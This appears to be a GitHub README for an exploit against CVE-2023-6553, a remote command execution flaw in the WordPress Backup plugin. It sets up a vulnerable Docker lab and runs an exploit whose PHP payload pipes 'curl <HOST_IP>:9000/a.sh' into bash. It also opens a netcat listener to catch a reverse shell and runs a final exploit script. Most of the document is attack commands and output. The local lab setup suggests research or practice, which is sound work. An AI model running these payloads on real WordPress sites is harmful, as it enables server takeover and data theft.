harshit-mashru/cve-2023-6553Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress
Exploit Development for CVE-2023-6553 on Backup Plugin in Wordpress
This is a critical CVE with a CVSS score of 9.8
The vulnerability allows attacker to send commands to the server running the vulnerable version of the plugin
Vulnerable Version Backup <= 1.3.7
git clone the repository
Run the command below to set up the docker containers
docker-compose up -d
You should see 2 docker containers
http://localhost:8000/
wget https://downloads.wordpress.org/plugin/backup-backup.1.3.6.zip
python3 -m http.server
go run exploit.go -chain="<?php exec('curl <HOST_IP>:9000/a.sh |bash');?>"
HTTP Response Body: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.</p>
<hr>
<address>Apache/2.4.62 (Debian) Server at 172.18.0.3 Port 80</address>
</body></html>
This is because the after the filter conversions that size of the header exceeds what the server allows.
nc -nlvp 8080
and now run the command to exploit the vulnerable plugin
python3 final_exploit.py